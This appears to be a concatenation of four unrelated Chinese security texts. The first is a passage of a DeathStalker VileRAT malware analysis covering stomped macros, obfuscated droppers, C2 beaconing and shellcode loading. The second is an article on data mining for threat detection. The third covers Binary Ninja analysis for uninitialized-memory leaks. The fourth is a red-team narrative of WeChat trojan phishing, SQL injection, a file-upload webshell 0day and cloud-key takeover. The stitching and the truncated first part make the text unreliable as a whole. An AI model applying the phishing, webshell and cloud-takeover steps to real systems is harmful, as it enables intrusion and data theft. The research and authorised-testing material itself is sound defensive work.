這種技術有一個嚴重的限制：隱藏的宏（即內部p代碼）只有在啟用宏的文檔使用生成它的相同Office版本打開時才能執行。否則，隱藏的宏將無法運行，而將執行可見的宏。在最後一種情況下，DeathStalker確保它會向用戶彈出一條消息。但最重要的是，DeathStalker確保將多個攻擊文檔變體傳播給目標，每個變體都針對特定的Office版本進行準備。 惡意DOTM遠程模板中的VBAstomping失敗 在任何情況下，可見和隱藏的宏都會下載一張圖片來取代感染文檔中的社會工程消息，並欺騙讀者相信某些事情失敗了。 執行宏時下載的圖像示例 然而，在後台，如果VBAstomping有效，嵌入DOTM的宏會使用WMI靜默收集有關安裝在目標計算機上的安全產品的信息，將它們發送到命令和控制(C2)服務器，解碼並釋放文件，然後最終執行我們稱為VileDropper的惡意混淆JavaScript(JS)後門。 嵌入DOTM的宏本身已經揭示了一些有趣且具體的技術。它被輕微混淆，因為大多數文本字符串都是XOR編碼的，其密碼源自一個句子，例如，“OperatesCatholicsmalltownspueblosTwoof”。 DOTM嵌入宏中的XOR解碼函數 XOR解碼算法看起來非常接近過去在PowerPepper工具鏈的VBS加載程序腳本中使用的算法，而且看起來合法的函數名也讓人想起PowerPepper宏中使用的函數名，例如'insert_table_of_figures'，'change_highlight_color'等。 PowerPepperVBS加載程序中的XOR解碼函數(MD5DB6D1F6AB887383782E4E3D6E4AACDD0) 嵌入DOTM的宏從編碼數據中解碼並刪除兩個文件（在“%APPDATA%”文件夾中：“Redist.txt”和“ThirdPartyNotice.txt”，或“pattern.txt”和“changelog.txt”）存儲在不可見的TextBox表單中。利用Office對象屬性作為隱藏數據源也是之前採用的技術。 用作惡意DOTM文檔中數據存儲的TextBox表單，如Microsoft的VBA編輯器所示 另一個值得注意的特性是，嵌入DOTM的宏通過向固定的C2URL發送HTTPGET請求來指示執行過程中的進展或錯誤。有趣的是，VBA宏中的所有HTTP請求都是使用遠程圖片插入函數觸發的。 嵌入DOTM的宏利用“AddPicture”作為Web客戶端 在任何情況下，嵌入DOTM的宏最終都會觸發VileDropper的執行，使用“WScript”解釋器的重命名副本（“%APPDATA%”文件夾中的“msdcat.exe”或“msgmft.exe”），使用如下命令作為： “changelog.txt”是VileDropper，“91”是VileDropper用來解碼異或數據的密碼的一部分，“pattern.txt”是一個包含VileLoader的編碼包。 VileDropper：一個過度混淆的任務調度器在DeathStalker錯綜複雜的VileRAT攻擊鏈中還有一個VileDropper。它是一個混淆的JavaScript文件，主要釋放和調度下一階段的執行：VileLoader。 VileDropper代碼的原始形式 第一次運行VileDropper至少需要兩個參數，第三個參數可以用作觸發特定環境執行變化的標誌，具體取決於安裝在目標計算機上的安全產品： 第一個是部分密碼（用於解碼XOR編碼的數據），第二個是一個編碼的有效負載文件的路徑(包含VileLoader及其配套的shellcode)。 VileDropper還會檢查它的解釋器和文件名，如果它沒有按計劃調用，則立即停止執行，這可能是為了規避沙箱檢測： VileDropper中的反混淆執行檢查 VileDropper的確切執行流程取決於目標計算機上安裝的安全產品，但大多數時候，它將自己複製到另一個文件，重新啟動自己，並刪除其原始副本。在執行VileDropper期間： 1.收集有關目標環境的附加數據（使用WMI）以及生成目標標識符並將它們發送到C2服務器； 2.解碼並釋放VileLoader及其編碼的結果shellcode。文件名和位置會因示例而異，但他們被放在一個看似合法的公共文件夾“%APPDATA%”(例如，“exe”和“dev0Y11ZF.tmp”在“%APPDATA%\Microsoft\PrinterSettings\Printers\”)下。 3.安排一個任務在35到65秒後運行VileLoader，之後每3小時45分鐘運行一次。 使用預設的User-Agent(C2的URL和User-Agent的變化取決於VileDropper的示例)，VileDropper使用一個HTTPGET請求將數據發送到C2服務器到一個固定的URL(例如，“hxxp://hubflash[.]co/admin/auth.php”)。有用的信息被存儲為一個JSON項，然後該文檔被xor編碼、base64編碼、url編碼，並被設置為HTTP請求中的cookie值： JSON 項和內容（JSON 值）如下： 1.u，目標標識符：標識符是目標登錄（%USERNAME% 環境變量）和計算機UUID（在WMI 查詢的第一個結果中獲得的類似UUID 的自定義表示形式：SELECT UUID FROM Win32_ComputerSystemProduct）。然後這個類似UUID 的值是base64 編碼和URL 編碼的。由於標識符生成邏輯的固定長度和填充，標識符的最終形式總是48 個字符長。 2.d，一個硬編碼的VileDropper 標識符，它可能指定一個活動或版本（例如，“9745B355”）。 3.a，安裝在目標計算機上的安全產品（WMI 中的AntiVirusProduct）名稱列表，以豎線符號(|) 分隔，然後是XORed、base64 編碼和URL 編碼。 4.n，目標的完全限定登錄，作為“%USERDOMAIN%\%USERNAME%”的shell擴展，然後進行異或、base64 編碼和URL 編碼。 5.w ,目標的操作系統版本，從WMI 查詢SELECT Version FROM Win32_OperatingSystem 返回，然後是base64 編碼和URL 編碼。 由VileDropper調度的任務(其名稱因樣例而異，如“CDS同步”或“UpdateModel任務”)會觸發以下類型的執行命令： 命令行中方括號之間的字符（例如[u]）指定相應JSON項的內容，即[u]是編碼的目標標識符。 在繼續討論VileLoader之前，請注意VileDropper使用XOR編碼方案來保護髮送到C2服務器的數據，因為類似的方案將在以後使用。該算法生成的數據塊佈局如下，有時還會進一步進行base64編碼和URL編碼： 類型一： 生成的blob是自給自足的，並且可以由接收者解碼，而無需訪問預共享密鑰。在VileDropper中，作為JavaScript混淆的一部分編碼的字符串受益於額外的異或：嵌入數據blob中的異或密鑰還使用特定於腳本的固定密碼進行了異或，此固定密碼的一部分被傳遞給VileDropper在攻擊鏈中的前一個DOTM宏執行的命令行上，另一部分在VileDropper中硬編碼。 後來，VileLoader和VileRAT使用該算法的其他變體。 類型二： 類型三： 類型四： VileLoader：一個多階段植入程序下載器VileLoader它自2020年第2季度就被公佈，首次公開記錄為dddp.exe，但此後一直在不斷更新和維護，並且在撰寫本文時仍然部署在VileDropper上。 VileLoader的主要目標是從C2服務器下載並執行額外的有效負載。雖然我們只觀察到它觸發了VileRAT的執行，但加載程序在技術上可以下載並執行其他植入程序。 最近的VileLoader示例是由一個二進制可執行文件(第1階段)和一個編碼的配套shellcode文件（第2階段）組成。以前的VileLoader示例通常將shellcode直接嵌入到二進制可執行文件中，並將呈現為單個整體文件。 第1階段：修改二進制解包器VileLoader最初是作為二進制可執行文件呈現的，它確保第1階段執行。這個二進製文件始終是合法的，被攻擊者精心修改以集成惡意解包器類型的有效負載。因此，從快速自動靜態代碼分析的角度來看，二進製文件可能看起來是合法的，它包含合法應用程序的所有代碼，但不會按預期工作。這個“解包器”階段旨在解碼、加載和執行內存中的第2階段。 VileLoader的工作流程從等待17秒開始。然後它解析命令行參數。命令行必須至少包含五個參數，否則VileLoader會終止執行。在實踐中，VileDropper通常會向VileLoader提供七個參數，正如我們之前所描述的。 VileLoader然後打開其編碼的附帶的shellcode文件。其名稱作為第二個參數傳遞給VileLoader，例如，“devENX1C6SS.tmp”，使用第二個類型的XOR算法讀取並解碼它，將去混淆數據映射到一個區域中讀取、寫入和執行(RWX)權限，並通過啟動新線程來運行下一階段（第2階段）。 VileLoader的第1階段包含非常獨特的“簽名”技術，自我們在2020年第二季度分析的第一個示例以來一直很穩定： 利用“Sleep”和“GetTickCount”Windows API函數來生成隨機的等待延遲。這些函數以一種不尋常的方式解析：通過從當前二進制映像的開頭引用硬編碼偏移量，這些偏移量直接指向合法可執行文件的導入地址表(IAT)中的條目； VileLoader的編碼附帶的shellcode文件的解包和加載利用了多個自定義系統調用，這些調用類似於針對不同Windows版本的低級WindowsAPI函數(NTDLL)：NtOpenFile、NtReadFile、NtAllocateVirtualMemory、NtCreateThreadEx和NtWaitForSingleObject。 VileLoader的第1階段自定義系統調用 然而，雖然舊示例通過解析和調用專用WindowsAPI函數（例如“GetCommandLineW”）來解析命令行參數，但最近的示例直接從它們自己的PEB（進程環境塊）結構中讀取此信息。這樣做可能是為了更好地繞過對某些安全解決方案的檢測。 第2階段：內存下載器第2階段的內容從VileLoader的編碼附帶的shellcode文件中提取，並由VileLoader的第1階段在內存中的新線程中運行。從數據的角度來看，第2階段的shellcode是一個PE二進製文件，它的標頭被去掉並嵌入了額外的編碼數據。 第2階段首先從其本身的內容中解碼（使用第三類XOR算法）所需的數據。一些數據被解碼為使用djb2算法生成的哈希值。這些哈希值反過來用於通過自定義IAT解析所需的函數導入：加載所需的庫，解析它們的導出表，使用djb2對導出的函數名稱進行哈希，並將哈希值與從內部數據解碼的哈希值進行比較。第2階段繼續創建一個互斥鎖，其名稱自2020年第二季度以來沒變過，與VileRAT中的相同（“Global\wU3aqu1t2y8uN”）。 最後，VileLoader的第2階段構建一個HTTPGET請求，用於下載植入程序包。在較早的VileLoader示例中，下載器使用瞭如下所示的一個靜態URL： 唯一的規避嘗試是在四個固定列表中隨機選擇一個HTTPUser-Agent標頭值。 VileLoader使用目標系統的正常運行時間作為“隨機性”的來源。在最近的示例中，開發人員試圖改進這些規避技術，HTTP請求現在看起來如下所示： 現在，所有以紅色著色的值都是從從第2階段內容解碼的硬編碼列表中隨機選擇的（使用C類XOR算法）。加密的blob（cookie值）最初是一個JSON字典，使用RC4算法加密（使用密鑰“BDDE96D29C68EE064964D1E58A860512B09A50004EF2E4925C76ABFC9023DFC6”，從第2階段內容解碼）、異或（使用B型異或算法）、base64編碼和URL編碼。實際的JSON內容與VileDropper發送到C2服務器的內容非常相似： 然後，C2服務器在HTTP響應正文中進行了響應，並使用以下其中一個指令： 什麼都不做：答案是四個空字節； 植入包：答案是要解析的編碼植入包（見下文）； 發送截圖：答案是一個值為“1”的字節，後面是三個空字節； 在較早的版本中，VileLoader的第2階段並沒有嵌入截圖功能，但是VileRAT實現了截圖功能。 如果C2服務器使用植入程序包進行應答，它會發送一個第四類的異或blob。生成的數據使用LZMA1算法進一步解壓縮，並包含一個或多個帶有以下附加元數據的“文件”： 一個CSIDL值，表示必須將文件釋放的根文件夾（使用“SHGetFolderPathW”WindowsAPI函數解析）； 子目錄名稱； 一個文件名； 如果要安排文件執行，則為任務名稱； 如果要執行文件，則為命令行參數。 如果在C2服務器響應數據中設置了特定標誌，VileLoader會為最後放置的文件創建一個Windows計劃任務以設置其持久性。該任務是使用ITaskService接口創建的。最後一個被刪除的文件也會使用“CreateProcessW”Windows API函數立即

僅在2021 年，人類就創建、複製和使用了大約74 澤字節（萬億千兆字節）的數據。看起來我們擁有所需的所有數據，但實際上每年都越來越難找到相關信息。幸運的是，數據挖掘等技術可以幫助我們恢復數據的秩序，並利用它來提高我們的網絡安全。 使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。 在本文中，我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。 網絡安全中的數據挖掘：過程、優點和缺點什麼是數據挖掘？數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。 雖然術語數據挖掘通常被視為數據庫中知識發現(KDD) 的同義詞，但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟： 數據庫中知識發現的4 個步驟 KDD 廣泛應用於任何可以從海量數據分析中獲益的領域：科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式，並被網絡安全專業人員用來檢測和阻止這些新的攻擊。 結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識，數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。 數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式，這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是，使用數據挖掘方法的最終結果始終取決於您使用的數據質量。 依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們： 這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外，每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。 6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測，而描述性技術側重於對現有數據庫的分析和構建。 讓我們來看看網絡安全的六種關鍵數據挖掘技術： 挖掘網絡安全數據的技術 分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量，並為它們分配相應的類。為了實現準確的實時分類，您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中，分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。 回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術，您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件，包括可能的網絡攻擊。 時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。 關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係，並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。 聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類，但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比，聚類允許在模型中進行更改並創建子集群，而無需重新設計所有算法。 總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果，因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中，匯總主要用於生成報告和可視化日誌。 請記住，這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而，將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。 接下來，我們將仔細研究特定用例，展示如何將數據挖掘用於網絡安全解決方案。 網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫，並根據您想要實現的任何目標對其進行調整。在網絡安全領域，挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。 以下是數據挖掘在計算機安全領域最常見的五種應用： 1.惡意軟件檢測在構建安全軟件時，開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量，以及檢測零日攻擊。 檢測惡意軟件的策略有以下三種： 惡意軟件檢測策略 異常檢測涉及對系統或網絡的正常行為進行建模，以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊，並可用於定義濫用檢測器的簽名。 但是，異常檢測甚至可以報告偏離規範的合法活動，從而產生誤報。 誤用檢測，也稱為基於簽名的檢測，僅根據簽名示例識別已知攻擊。這種技術的誤報率較低，但無法檢測到零日攻擊。 混合方法結合了異常和濫用檢測技術，以增加檢測到的入侵數量，同時減少誤報數量。混合檢測算法不構建任何模型。相反，他們使用來自惡意軟件和合法程序的信息來創建分類器，這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差，系統的誤用檢測部分查找代碼中的惡意軟件簽名。 無論您選擇哪種策略，惡意軟件檢測系統的開發都包括兩個步驟： 惡意軟件檢測過程 首先，數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。 在分類聚類的過程中，可以使用相應的技術，根據特徵分析對文件樣本進行分組。此時，您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。 使用ML 技術，每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。 2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術，您可以分析審計結果並識別異常模式。因此，您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。 數據挖掘方法對於檢測這些類型的入侵特別有效： 通過數據挖掘檢測入侵 要檢測基於主機的攻擊，您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣，您可以查找異常行為或濫用案例。 入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵，將它們系統化，並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。 您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。 3.欺詐檢測檢測欺詐具有挑戰性，因為欺詐活動通常很隱蔽，而且網絡犯罪分子不斷發明新的欺詐模式。 利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為，從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用，因為它可以： 擴展以考慮數據庫數量和復雜性的變化 學習檢測和預測新型欺詐 準確計算欺詐活動的概率 您可以使用監督和非監督ML 算法來檢測欺詐。 通過監督學習，所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。 無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。 4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。 數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能： 安全威脅情報的類型 數據挖掘通常僅用於威脅情報的第一階段：發現和構建數據。之後，網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是，您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。 5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務，因為這些行為通常看起來與普通用戶活動相似，或者它們可以被故意隱藏在威脅檢測機制之外。 由於大數據算法可以檢測機器和人類用戶的異常行為，因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似，內部威脅檢測系統基於識別合法和威脅行為的特徵。 有多種基於機器學習的分類和聚類算法，包括有監督和無監督的，有助於檢測內部威脅。此外，您可以根據數據挖掘原理訓練深度神經網絡，以檢查網絡安全日誌並實時檢測可能的內部活動。 結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據，但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。 數據挖掘技術可以幫助您識別任何惡意活動的特徵，甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。

未初始化內存的洩漏是跨信任邊界複製數據時面臨的常見問題之一。這可能發生在hypervisor和guest OS、內核和用戶空間之間，也可能發生在跨網絡之間。在這些情況中，最常見的錯誤模式是在內存中分配結構或聯合，並且在跨信任邊界複製它之前沒有初始化某些字段或填充字節。問題是，是否可以對此類漏洞進行有針對性地分析？ 本文的想法是執行支配流不敏感分析（insensitive analysis），以靜態跟踪所有內存存儲操作。當跨信任邊界複製來自該內存區域的數據時，任何從未寫入的內存區域都被標識為未初始化。 泛化用於分析的代碼模式以CVE-2018-17155為例，由於缺乏結構初始化，FreeBSD內核內存在getcontext()和swapcontext()系統調用中洩漏。下面顯示的是sys_getcontext()的補丁。左邊的清單顯示了打了補丁的代碼。 Sys_swapcontext()也以類似的方式打了補丁。 sys_getcontext()信息洩漏補丁，右側顯示易受攻擊的代碼 脆弱的代碼在堆棧上聲明了一個ucontext_t結構，寫入一些但不是所有的字段，最後使用copyout()將UC_COPY_SIZE字節的數據從結構複製到用戶區。這裡的問題是，並非所有字段都已初始化，因此，佔用結構內存區域未初始化部分的任何數據都會被洩漏。為了解決這個問題，打過補丁的代碼使用bzero()函數將整個結構歸零。 上述代碼模式的泛化過程如下： 1.在堆棧上聲明或在堆上分配內存區域（結構、聯合等），這可能是未初始化內存的來源。 2.內存區域可能被完全或部分寫入。 3.有一個跨信任邊界傳輸數據的API，這可能是未初始化內存的sink。 4.API通常至少需要3個參數：源緩衝區、目標緩衝區和大小。在這種情況下，內存的源是堆棧偏移量，傳輸的大小是一個常量值。傳輸的大小不變意味著該值要么是內存區域的整個大小（使用sizeof運算符），要么是成為偏移量的一部分。 5.在使用memset()或bzero()函數之前，內存區域可能會被清空。 sink函數是特定於應用程序的，比如對於Linux內核，是copy_to_user()；對於BSD內核，則是copyout()；對於網絡傳輸則是send()或sendto()。如果目標是封閉源代碼，那麼這些函數的定義要么被記錄下來，要么被逆向破解。 搜索代碼模式進行分析一旦知道了sink函數及其定義，就可以使用常量大小參數和指向堆棧偏移量或堆內存的源緩衝區查詢對sink函數的調用。查詢指向堆棧內存的指針很簡單，而檢測堆指針則需要訪問源變量的定義位置。 BSD中copyout()函數的定義如下： 在查找堆棧內存洩漏時，搜索對copyout()函數的交叉引用，其中kaddr指向堆棧偏移量，len參數是常量。 Binary Ninja具有靜態數據流功能，可以在函數內傳播已知值，包括堆棧幀偏移量和類型信息。使用此功能，可以縮小對滿足搜索條件的copyout()的調用範圍。為了更好地理解這一點，讓我們檢查一下從sys_getcontext()傳遞給copyout()的參數。 sys_getcontext()調用copyout(kaddr, uaddr, len) kaddr參數或params[0]包含一個內核堆棧指針，顯示為堆棧幀偏移量-0x398。 len參數或params[1]的值顯示為常數0x330。由於Binary Ninja沒有關於uaddr的信息，因此顯示為 靜態跟踪內存存儲分析的核心思想是使用Binary Ninja的靜態數據流功能跟踪所有內存存儲操作，並在必要時使用Single static Assignment（SSA）形式手動傳播指針。為了跟踪本地函數範圍內的堆棧內存存儲，我們依賴於低級別IL（LLIL），因為中級IL（MLIL）抽象了堆棧訪問，可能會消除一些內存存儲。為了跟踪將地址傳遞給另一個函數的跨函數(inter-procedure)存儲操作，我們依靠MLIL SSA形式傳播指針。用於處理IL指令的訪問者類是基於Josh Watson的emator實現的。 使用LLIL跟踪堆棧內存存儲在LLIL中，任何寫入內存的指令都表示為lil_store操作。它有一個源和目標參數。其思想是線性訪問函數中的每個LLIL指令，並檢查它是否是一個以堆棧幀偏移量為目標的lil_store操作。當一個寫入堆棧的內存存儲被識別出來時，我們將記錄寫入的源偏移量及其大小。一個簡單的8字節內存移動操作和Binary Ninja提供的相應LLIL信息如下： freebsd32_sigtimedwait()中的LLIL_STORE操作 StackFrameOffset值是堆棧基數的偏移量，size屬性給出了存儲操作的大小。使用這些信息，就可以知道正在寫入的內存地址是哪個。本示例中正在初始化從堆棧基偏移量是116到109(8字節)的地址。 靜態函數掛鉤和內存寫入API雖然內存存儲指令是初始化內存的一種方法，但經常使用memset()和bzero()這樣的函數來初始化帶有null的內存區域。類似地，諸如memcpy()、memmove()、bcopy()、strncpy()和strlcpy()等函數也用於寫入內存區域。所有這些函數都有一個共同點：都有一個目標內存指針和一個要寫入的大小。如果目標值和大小值已知，則可以知道要寫入的內存區域。考慮bzero()的情況，它用於清除修補後的sys_getcontext()中的堆棧內存： 使用bzero()清除堆棧內存 通過查詢目標指針和大小參數，可以知道它們各自的值，從而知道目標內存區域。 現在讓我們考慮一下分析器如何處理CALL操作。靜態掛鉤是函數的處理程序，與其他函數相比，我們打算以不同的方式處理這些函數。對於任何具有已知目標(MLIL_CONST_PTR)的CALL指令，將獲取該符號以檢查靜態掛鉤。 一個帶有函數名及其位置參數(目標緩衝區和大小)的JSON配置被提供給分析器用於靜態掛鉤： copyin()函數特定於BSD內核。它用於使用來自用戶空間的數據初始化內核緩衝區。任何要掛鉤的特定於目標的函數都可以添加到JSON配置中，並根據需要在visit_function_hooks()中處理。 處理x86 REP優化很多時候，編譯器會將內存寫入函數優化為REP指令或一系列存儲操作。雖然由於優化而引入的存儲操作可以像處理任何其他存儲操作一樣，但REP指令需要特殊處理。由於REP的原因，靜態函數掛鉤在檢測內存寫入時並沒有用。那麼，我們如何處理此類優化並避免錯過這些內存寫入？首先，讓我們看看Binary Ninja如何在LLIL或mll中轉換REP指令。 memcpy()優化為REP指令 MLIL中的REP指令轉換 REP指令重複字符串操作，直到RCX為0。複製操作的方向取決於方向標誌（DF），因此，一個分支增加源指針(RSI)和目標指針(RDI)，另一個分支則減少。一般來說，假設DF為0，並且指針是遞增的，這是相當安全的。 當線性遍歷IL時，轉換後的REP指令看起來與其他指令沒有什麼不同。其思想是檢查GOTO指令，並且對於IL中的每個GOTO指令，在相同的地址獲取反彙編。如果反彙編是REP指令，則獲取目標指針和大小參數，並將內存區域標記為已初始化。 LLIL有一個get_possible_reg_values()API，用於靜態讀取寄存器的值。 MLIL提供了兩個API，get_var_for_reg()和get_ssa_var_version()，用於將體系結構寄存器映射到SSA變量。在缺少RegisterValueType信息（即RegisterValueType.UndeterminedValue）的情況下，使用SSA變量手動傳播值時非常有用。類似的API目前在LLIL中缺失，並作為功能請求進行跟踪，API用於獲取給定LLIL指令中寄存器的SSARegister。 使用MLIL跟踪跨函數(inter-procedure)內存存儲此時，我們可以跟踪內存存儲操作、調用操作(如bzero()、memset())，還可以處理REP優化。下一個任務是跟踪函數調用之間的內存寫入操作，就像調用者將內存地址傳遞給被調用者一樣。有趣的是，一旦堆棧指針被傳遞到另一個函數中，就不能再使用寄存器值類型信息（StackFrameOffset）對其進行跟踪了，就像我們在本地函數範圍內使用LLIL所做的那樣。 為了解決這個問題，我們使用MLIL SSA變量在被調用函數中傳播指針，就像傳播污染信息一樣。每當遇到MLIL_STORE_SSA指令時，只要根據SSA變量的值手動解析內存寫入操作的目標，我們就會記錄寫入操作的偏移量和大小值。下面顯示的set_function_args()函數遍歷MLIL變量並賦值(指針)給調用者： 設置初始SSA變量後，我們就會訪問所有的指令來傳播指針並記錄內存寫入操作。執行此操作時，對指針執行的最常見操作是加法。因此，有必要模擬MLIL_ADD指令來處理指針算術操作。此外，模擬MLIL_SUB、MLIL_LSR和MLIL_AND等指令也很重要，以便在優化的情況下處理某些指針對齊操作。下面是如何解析這些MLIL SSA表達式來記錄內存存儲操作的示例： 將SSA變量rax_43#65視為手動傳播的指針值，可以解析存儲操作的目標以及寫入的大小。但是，當SSA變量rax_43#65的值不可用時，此內存與調用者傳播的指針無關，因此不會被記錄。 處理指針對齊（pointer-aligning）優化在執行跨函數(inter-procedure)分析時，除了REP優化之外，還可以進行進一步的優化，如上面的“處理x86 REP優化”部分所講。在堆棧上分配的變量通常會對齊，以滿足後續操作的需要。假設將堆棧指針傳遞給memset()，編譯器將調用內聯爲REP指令。在這種情況下，很可能將內存分配到一個對齊的地址，以便在REP操作期間使用最快的指令。 然而，當指針被調用者作為參數接收或作為分配器函數的返回值接收時，編譯器則必須生成指針和大小對齊操作碼，這些操作碼可能在到達REP指令之前依賴於分支決策。下面是一個在用於分析的NetBSD內核中常見的優化示例： 來自NetBSD的memset()優化示例 從靜態分析的角度來看，當涉及到這種分支決策時，指針和大小可以在REP指令點獲得多個可能的值。這與我們在“處理x86 REP優化”一節中觀察到的情況不同，在該節中，指針和大小只有一個可能的值。我們的目標是在沒有指針對齊計算的情況下找到指針的實際值和大小。為了實現這一點，確定了兩個可用於解析原始值的SSA表達式： 1.搜索包含(ADDRESS BYTESIZE)的表達式，這可能是在進行任何條件分支之前首次使用ADDRESS； 2.搜索包含(SIZE 3)的表達式。這是將調整後的大小傳遞給REP指令的地方； 我想從REP指令的角度追溯上述表達式，一個完全依賴SSA，另一個基於dominator： 1.使用get_ssa_var_definition()和get_ssa_ var_uses()API獲取變量的定義位置及其用途。 2.或者，獲取包含REP指令的基本塊的dominator，並訪問dominator塊中的指令。 下面顯示的函數resolve_optimization()使用dominator獲取執行搜索操作的基本塊。由於指針是由調用者手動傳遞的，因此值是從SSA變量中獲取的。 對於可能的常量值，我們從可用值列表中獲取最大值。一旦指針和最大值都可用，我們就記錄內存區域初始化時的日誌。

前言由客户授权的一次攻防演练，从外网钓鱼到内网遨游，也算是幸不辱命，攻击路径绘制了流程图，接下来会按照我画的攻击流程图来进行讲解，流程图如下： 外网钓鱼首先外网收集相关信息，添加微信，构造与客服业务相对 应的话术，诱导对方点击木马，过程如下图： 客服成功上线如下图： 然后对该企业的总监同样实施微信钓鱼，构造的话术为商务合作，诱导对方点击木马如下： 同样上线： 内网遨游登陆相关系统翻阅客服终端，发现密码本，成功登陆邮箱系统，发现大量内部办公邮件如下： 通过密码本登陆运营平台，发现2000w+记录如下： 同时还发现该运营系统存在SQL注入如下： 使用sqlmap获取数据库用户密码如下： 通过密码本登陆Zabbix系统如下： 发现某源码，开审！翻阅另一台终端文件时，发现了一个压缩包为install.zip,解压查看，发现为某系统源码： 语言为PHP如下: 审计源码发现该系统后台插件添加处存在任意文件上传漏洞，通过添加插件的方式对向服务器中写入webshell获取到多台服务器权限。 重点在Build()函数里 直接把请求的config数据写入到插件目录下的config.php文件中了，如下： burp构造数据包发包： 解析成功，getshell如下： 通过此0day拿下多台服务器权限如下： 掌控云上资产通过前面控制的机器，在其中一台机器中，翻阅配置文件，找到数据库账号密码，登陆数据库在其中一个表中发现了AK/SK如下： 可以接管阿里云所有系统： 拿下gitlab通过linux历史记录获取到gitlab后台权限如下 